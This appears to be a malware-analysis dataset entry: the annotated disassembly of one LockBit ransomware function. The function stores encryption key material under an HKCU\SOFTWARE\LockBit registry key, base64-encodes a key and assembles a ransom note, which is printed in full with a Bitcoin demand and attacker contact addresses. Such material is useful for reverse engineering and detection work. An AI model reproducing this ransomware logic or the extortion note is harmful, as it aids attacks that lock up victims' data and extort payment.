Function at 0x4089e0
Capabilities:
Encode data using base64 via winapi
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x374
push ebx
push esi
push edi
push 0x483
call fcn.004121fe
add esp, 4
mov edi, eax
lea eax, [ebp - 0x18]
mov dword [ebp - 8], edi
xor ebx, ebx
push eax
lea eax, [ebp - 4]
push eax
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push str.SOFTWARELockBit
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x408ad8
nop dword [eax]
lea eax, [ebp - 0xc]
mov dword [ebp - 0x14], 3
push eax
push 0x425e88
lea eax, [ebp - 0x14]
mov dword [ebp - 0xc], 0x500
push eax
push 0
push 0x41b808
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov esi, eax
mov dword [ebp - 0xc], 0x103
lea eax, [ebp - 0xc]
push eax
push edi
lea eax, [ebp - 0x14]
push eax
push 0
push 0x41b814
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test esi, esi
jne 0x408a89
test eax, eax
je 0x408c7c
cmp dword [ebp - 0x18], 2
jne 0x408c28
test ebx, ebx
jne 0x408c28
push 0x2710
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [ebp - 0x18]
mov ebx, 1
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWARELockBit
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x408a30
lea eax, [ebp - 8]
push eax
call fcn.00408630
test eax, eax
je 0x408c8a
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x483
push eax
push edi
call fcn.00408460
test eax, eax
je 0x408c8a
lea eax, [ebp - 0x30]
push eax
call fcn.0040c690
lea eax, [ebp - 0x24]
push eax
call fcn.0040c690
push 0
push 0
push 0x425dd0
call fcn.0040e980
push 0x100
lea eax, [ebp - 0x30]
push edi
push eax
call fcn.0040d290
add esp, 0x20
test eax, eax
jne 0x408c8a
push 3
lea eax, [edi + 0x100]
push eax
lea eax, [ebp - 0x24]
push eax
call fcn.0040d290
add esp, 0xc
test eax, eax
jne 0x408c8a
lea eax, [ebp - 0x24]
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x30]
push eax
push 0x425dd0
call fcn.0040e8d0
add esp, 0x18
test eax, eax
jne 0x408c8a
lea eax, [ebp - 0x170]
push eax
call fcn.0040f820
lea eax, [ebp - 0x374]
push eax
call fcn.0040f4c0
push edi
call fcn.004121f9
push 0xf04
call fcn.004121fe
add esp, 0x10
mov dword [ebp - 0x10], 0xf04
mov ebx, eax
lea eax, [ebp - 0x10]
push eax
push ebx
push 1
push 0x500
push 0x425e88
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test eax, eax
je 0x408c8a
mov eax, dword [ebp - 0x10]
add eax, 0x2dd
push eax
mov dword [0x426764], eax
call fcn.004121fe
dec dword [0x426764]
mov ecx, 0xb7
mov dword [0x425dcc], eax
mov esi, str.All_your_important_files_are_encrypted__r_nThere_is__only_one_way_to_get_your_files_back:_r_n1._Contact_with_us_r_n2._Send_us_1_any_encrypted_your_file_and_your_personal_key_r_n3._We_will_decrypt_1_file_for_test_maximum_file_size___1_MB___its_guarantee_what_we_can_decrypt_your_files_r_n4._Pay_r_n5._We_send_for_you_decryptor_software_r_n_r_nWe_accept_Bitcoin_r_n_r_nAttention__r_nDo_not_rename_encrypted_files._r_nDo_not_try_to_decrypt_using_third_party_software__it_may_cause_permanent_data_loss._r_nDecryption_of_your_files_with_the_help_of_third_parties_may_cause_increased__price_they_add_their_fee_to_our__r_n_r_nContact_information:_pcabcd_countermail.com_r_n_r_nBe_sure_to_duplicate_your_message_on_the_e_mail:_recoverymanager_cock.li_r_n_r_nYour_personal_id:__r_n
mov dword [eax], 0
mov edi, dword [0x425dcc]
rep movsd dword es:[edi], dword [esi]
push dword [ebp - 0x10]
mov eax, dword [0x425dcc]
add eax, 0x2dc
push ebx
push eax
call fcn.004013a0
add esp, 0x10
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 8]
push eax
call fcn.00408630
test eax, eax
je 0x408c8a
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x483
push eax
push edi
call fcn.00408460
test eax, eax
je 0x408c8a
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 0x500
push 0x425e88
push 3
push 0
push str.full
push dword [ebp - 4]
call esi
push 0x103
push edi
push 3
push 0
push str.Public
push dword [ebp - 4]
call esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x408b02
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret